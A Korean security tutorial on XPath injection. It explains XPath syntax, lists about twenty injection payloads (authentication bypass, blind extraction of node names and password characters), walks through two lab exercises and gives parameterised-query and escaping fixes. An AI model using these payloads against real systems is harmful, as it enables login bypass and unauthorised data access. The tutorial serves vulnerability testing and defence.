07. XPath 인젝션
■ 개요
- XML(eXtensible Markup Language)은 W3C에서 개발된, 다른 특수한 목적을 갖는 마크업 언어를 만드는데 사용하도록 권장하는 다목적 마크업 언어로, 텍스트 기반이며 간결한 데이터형이다.
- XML은 데이터를 트리 구조의 노드로 표현을 하며, 사용자 정의로 데이터를 분류를 진행한다.
- 사용자의 입력한 값을 서버에서 검증하지 않을 경우, 공격자는 이를 이용하여 쿼리문의 의미를 왜곡시키거나 그 구조를 변경하고 임의의 쿼리를 실행하여 인가되지 않은 데이터를 열람할 수 있는 공격
- 주요정보통신기반시설 웹 취약점 진단 기준으로 07. XPath 인젝션에 해당
■ 사전 지식
□ Xpath란?
- Xpath는 XML문장 속의 요소, 속성 등을 지정하기 위한 언어로서, Xpath에는 XML문장을 트리로서 다루기 때문에, 요소나 속성의 위치를 지정하는 것이 가능하다.
- Xpath는 트리 구성으로부터 요소를 얻어내며, 5000원이라는 요소를 취득하고 싶은 경우에는 하기 HTML에서 ‘/html/body/div/span[@class='regular_price']으로 쓰거나, '//span[@class='regular_price']'로 표현할 수 있다.
<html>
...
<body>
<h1>아이스크림</h1>
<div class="item">
<span class="brand">together</span>
<span class="regular_price">5000원</span>
<span class="sale_price">2500원</span>
</div>
</body>
</html>
□ Xpath 주요 구조
□ Xpath 주요 명령어
명령어 | 설명 |
/ | 최상위 노드 |
// | 현재 노드로부터 모든 노드 조회 |
* | 모든 노드 조회 |
. | 현재 노드 |
.. | 현재 상위 노드 접근 |
parent | 현재 노드의 부모 노드 |
child | 현재 노드의 자식 노드 |
[] | 조건문 |
node() | 현재 노드로부터 모든 노드 조회 |
□ Xpath 인젝션
- 외부 입력값에 대한 검증을 하지 않을 경우, 공격자는 웹 서버에 쿼리문의 의미를 왜곡시키거나 그 구조를 변경하고 임의의 쿼리를 실행시켜 인가되지 않은 데이터를 열람 할 수 있다.
- 예를들어 ID/PW가 "admin", "password"라고 가정할 때, 웹 서버로 전달되는 값은 [ID='admin'&PW='password']이다. 공격자는 항상 참이 되는 값으로 쿼리를 변조하는 쿼리인 “‘or 1=1 or'"를 ID에 입력하면, 웹 서버에 전달되는 값은 [ID=''or 1=1 or''&PW=’임의의 값‘]이 된다. AND 연산은 OR 연산보다 우선하기 때문에 쿼리의 조건 값은 [ID=''(거짓) or 1=1(참) or ''&PW='임의의값'(거짓)]이다. [거짓 or 참 or 거짓]일 경우, 결과값은 참이 되어 패스워드 정보를 몰라도 로그인 인증 절차를 우회가 가능하다.
□ Xpath Cheat Sheet
예시 |
elice’ and count(../child::*)=6 or ‘a’=’b |
elice’ and string-length(name(parent::*))=6 or ‘a’=’b |
elice’ and substring(name(parent::*),1,1)=’h’ or ‘a’=’b |
elice’ and string-length(name(../child::*[position()=1]))=4 or ‘a’=’b |
elice’ and substring(name(../child::*[position()=1]). 1,1)=’b’or ‘a’=’b |
elice’ and string-length(name(/heroes/child::*))=4 or ‘a’=’b |
elice’ and string-length(name(//*))=6 ‘a’=’b |
' or '1'='1 |
' or ''=' |
x' or 1=1 or 'x'='y |
/ |
// |
//* |
*/* |
@* |
count(/child::node()) |
x' or name()='username' or 'x'='y |
' and count(/*)=1 and '1'='1 |
' and count(/@*)=1 and '1'='1 |
' and count(/comment())=1 and '1'='1 |
search=')] | //user/*[contains(*,' |
search=Har') and contains(../password,'c |
search=Har') and starts-with(../password,'c |
■ 실습1 (난이도 : 하)
Step 1. XML/XPath Injection(Login Form)으로 이동 후, Injection 가능 여부를 위해 싱글쿼터(‘) 입력 시 오류 메시지 발생 확인
아이디, 비밀번호를 and 연산으로 호출하고 있는 것으로 추측
AND 연산은 OR연산보다 우선하기 때문에 항상 OR 연산과 함께 참이 되는 쿼리를 입력하면 AND 연산 결과와 상관없이 결과는 참
Step 2. 항상 참이 되는 조건으로 로그인 시도 시, 정상적으로 로그인 성공 확인
웹에서 입력되는 값이 [login='' or 1=1 or 1''&password='']으로패스워드 값이 어떠한 값이 오더라도 AND 연산자를 먼저 계산하여 항상 참이 되는 조건(거짓 or 참 or 거짓)
입력 값 |
‘ or 1=1 or’ |
■ 실습2 (난이도 : 하)
Step 1. XML/XPath Injection(search)으로 이동 후, Injection 가능 여부를 위해 싱글쿼터(‘) 입력 시 오류 메시지 발생 확인
Step 2. 항상 참이 되는 조건으로 로그인 시도 시, 정상적으로 테이블 정보 수집 확인
웹에서 입력되는 값이 genre=[(' '] or 1][(' or ')]으로 패스워드 값이 어떠한 값이 오더라도 AND 연산자를 먼저 계산하여 항상 참이 되는 조건(거짓 or 참 or 거짓)
입력 값 |
') or 1=1 ][(' or |
■ Xpath Injection 점검 방법
① 수동 점검
- 웹사이트의 사용자 인수 값을 입력받은 애플리케이션에 Xpath 인젝션 Cheat Sheet 입력 후, 에러 페이지 또는 특이사항이 발생하는지 확인
② 자동화 도구를 통한 점검
- 자동화 도구(Ex, Burp Suite Pro, Acunetix 등)를 사용하여 점검하고자 하는 사이트에 운영체제 명령 실행 취약 여부 점검
- 아래 예시는 Burp Suite Pro에서 제공하는 Active Scan을 예시로 들었으며, 자세한 사항은 하기 링크 참조
■ 조치 방법
1. Xpath를 비활성화 및 안전한 모듈 사용
- xml.etree.ElementTree 모듈은 Xpath 기능을 제공하고 있으며, 외부 입력값에 대해 검증하지 않고 그대로 입력되어 보안상 취약
- 보안상 안전한 lxml 라이브러리를 사용하고, 외부 입력값에 대해 인자화해서 사용하는 것을 권고
from django.shortcuts import render
from lxml import etree
def parse_xml(request):
user_name = request.POST.get('user_name', '')
parser = etree.XMLParser(resolve_entities=False)
tree = etree.parse('user.xml', parser)
root = tree.getroot()
# 외부 입력값을 paramname으로 인자화 해서 사용
query = '/collection/users/user[@name = $paramname]/home/text()' elmts = root.xpath(query, paramname=user_name)
return render(request, 'parse_xml.html', {'xml_element':elmts})
2. HTML에서 htmlspecialchars() 함수를 사용하여 특수문자를 이스케이프 처리
function a($var) // 입력 받은 특수문자를 이스케이프 처리
{
if (is_array($var)) {
return array_map(‘a’, $var);
} else {
return htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’);
}